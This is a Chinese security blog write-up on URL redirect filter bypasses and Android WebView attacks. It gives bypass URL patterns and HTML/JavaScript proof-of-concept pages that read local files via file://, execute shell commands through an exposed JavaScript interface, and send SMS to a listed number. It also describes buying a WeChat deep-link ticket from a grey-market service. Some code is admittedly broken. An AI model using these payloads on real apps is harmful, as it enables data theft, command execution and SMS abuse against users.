zoukankan      html  css  js  c++  java
  • 浅谈URL跳转与Webview安全

    学习信息安全技术的过程中,用开阔的眼光看待安全问题会得到不同的结论。

    浅谈URL跳转与Webview安全

     

    在一次测试中我用Burpsuite搜索了关键词url找到了某处url,测试一下发现waf拦截了指向外域的请求,于是开始尝试绕过。第一个测试的url是:

    https://mall.m.xxxxxxx.com/jump.html?url=https://baidu.com

    打开成功跳转以为会跳转成功,但是baidu.com是在白名单的,所以只能想办法去绕过它,经过几次绕过后发现

    https://mall.m.xxxxxxx.com/jump.html?url=https:/c1h2e1.github.io可以跳转成功,于是我觉得有必要总结一下url的跳转绕过思路,分享给大家!

    @绕过

    这个是利用了我们浏览器的特性,现在除了Firefox浏览器大部分都可以完成这样跳转,下面是跳转的内容:

    浅谈URL跳转与Webview安全

     

    问号绕过

    可以使用Referer的比如https://baidu.com,可以https://任意地址/?baidu.com

    锚点绕过

    利用#会被浏览器解释成HTML中的锚点:http://127.0.0.1/#qq.com

    xip.io绕过

    http://www.baidu.com.127.0.0.1.xip.io/,这样之后会访问127.0.0.1

    How does it work?
    xip.io runs a custom DNS server on the public Internet.
    When your computer looks up a xip.io domain, the xip.io
    DNS server extracts the IP address from the domain and
    sends it back in the response.
    浅谈URL跳转与Webview安全

     

    在公网上运行自定义的DNS服务器,用它的服务器提取IP地址,在响应中将它取回。反斜杠绕过

    这次测试中也是使用了这种思路:

    https://mall.m.xxxxxxx.com/jump.html?url=https:/c1h2e1.github.io

    IP绕过

    把目标的URL修改成IP地址,这样也有可能绕过waf的拦截。

    chrome浏览器特性

    http://baidu.com
    http://baidu.com
    //baidu.com
    http://baidu.com

    这样的都会跳转到百度

    1、URL跳转到Webview安全问题

    这次的漏洞在手机上测试时发现利用APP url Schema也就是

    xxxx://app/webview?url=xxxxxxx

    其实这里的任意Webview跳转已经构成漏洞了,但是我想更加深入一下,请看下面的案例。

    案例

    我们先用file://协议读取一下测试文件试一下:

    浅谈URL跳转与Webview安全

     

    可以看到成功读取了手机的敏感host文件,但不是只要读取成功就能完成利用的,我们还需要设计到发送并读取。

    这边我又测试了一下JavaScript的情况,发现开启,在vps上搭建一下利用代码。

    <html>
    <head>
    <title>test</title>
    </head>
    <script>
    var xmlHttp; //定义XMLHttpRequest对象
    function createXmlHttpRequestObject(){
    //如果在internet Explorer下运行
    if(window.ActiveXObject){
    try{
    xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
    }catch(e){
    xmlHttp=false;
    }
    }else{
    //如果在Mozilla或其他的浏览器下运行
    try{
    xmlHttp=new XMLHttpRequest();
    }catch(e){
    xmlHttp=false;
    }
    }
    //返回创建的对象或显示错误信息
    if(!xmlHttp)
    alert("error");
    else
    return xmlHttp;
    }
    function ReqHtml(){
    createXmlHttpRequestObject();
    path='file://'
    path1='/system/etc/hosts'
    xmlHttp.onreadystatechange=StatHandler; //判断URL调用的状态值并处理
    xmlHttp.open("GET",path+path1,false); //调用test.txt
    xmlHttp.send(null)
    alert(1)
    }
    function StatHandler(){
    if(xmlHttp.readyState==4 && xmlHttp.status==200){
    document.getElementById("webpage").innerHTML=xmlHttp.responseText;
    alert(xmlHttp.responseText)
    }
    }
    ReqHtml()
    StatHandler()
    </script>
    <body>
    <div id="webpage"></div>
    </body>
    </html>

    在app上测试一下发现不成功,之后才得知是因为同源策略导致的,在网上各种找方法绕过后无果,没办法只好放弃。

    虽然这个应用绕不过,我们可以mark一点姿势。

    Ps:很多代码都是手码的没写过JS,所以可能会有一些错误不要见怪。

    <html>
    <body>
    <script>
    function execute(cmdArgs)
    {
    return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
    }
    var res = execute(["/system/bin/sh", "-c", "ls -al /mnt/sdcard/"]);
    document.write(getContents(res.getInputStream()));
    </script>
    </body>
    </html>

    这个是执行命令的poc

    <html>
    <head>
    <title>Test send</title>
    <script type="text/javascript">
    function execute() {
    var sendsms = jsInterface.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null),invoke(null,null);
    sendsms.sendTextMessage("13722555165",null,"get",null,null);
    }
    </script>
    </head>
    <body>
    <input type="button"execute" value="test"/>
    </body>
    </html>
    <html>
    <head>
    <title>Test sendsms</title>
    <script type="text/javascript">
    function execute() {
    var sendsms = jsInterface.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null),invoke(null,null);
    sendsms.sendTextMessage("13722555165",null,"get",null,null);
    }
    </script>
    </head>
    <body>
    <input type="button"execute" value="test"/>
    </body>
    </html>

    2、更换目标

    这是我想到了weixin的协议,weixin://看了官方的文档之后我发现了微信支持如下操作:

    weixin://dl/general
    weixin://dl/favorites 收藏
    weixin://dl/scan 扫一扫
    weixin://dl/feedback 反馈
    weixin://dl/moments 朋友圈
    weixin://dl/settings 设置
    weixin://dl/notifications 消息通知设置
    weixin://dl/chat 聊天设置
    weixin://dl/general 通用设置
    weixin://dl/officialaccounts 公众号
    weixin://dl/games 游戏
    weixin://dl/help 帮助
    weixin://dl/feedback 反馈
    weixin://dl/profile 个人信息
    weixin://dl/features 功能插件

    经过一番查找后,找到了能够跳转的方法:weixin://dl/business/?ticket=xxxxxxxxxxxxxxxxx。

    那么这个ticket哪里来呢?

    我在t00ls上看到一篇同样关于这个微信协议的分析,百度了一下找到了这个地址:

    浅谈URL跳转与Webview安全

     

    我们注册并登陆尝试一下跳转:

    浅谈URL跳转与Webview安全

     

    果然还是收费,因为写文章的时候比较早,他们可能没有上班所以就换个地方找一下:

    浅谈URL跳转与Webview安全

     

    我们加一下这个客服的qq:

    浅谈URL跳转与Webview安全

     

    正如我想象的那样:

    weixin://dl/business/?ticket=taa597ccdcdf00ecb865d9e04904bbff4

    手机打开测试一下网页:

    浅谈URL跳转与Webview安全

     

    成功打开微信并跳转,以上内容大家看懂了吗?

  • 相关阅读:
    OpenID Connect 验证
    升级到 .NET Core 3.1
    深入 .NET Core 基础
    依赖注入在 dotnet core 中实现与使用:3 使用 Lazy<T> 延迟实例化
    依赖注入在 dotnet core 中实现与使用:2 使用 Extensions DependencyInjection
    依赖注入在 dotnet core 中实现与使用:1 基本概念
    ng-bootstrap 组件集中 tabset 组件的实现分析
    一笔百亿美元军方订单,引发了美国科技公司大混战
    4种事务的隔离级别,InnoDB怎样巧妙实现?
    Google I/O 官方应用中的动效设计
  • 原文地址:https://www.cnblogs.com/ichunqiu/p/10791219.html
Copyright © 2011-2022 走看看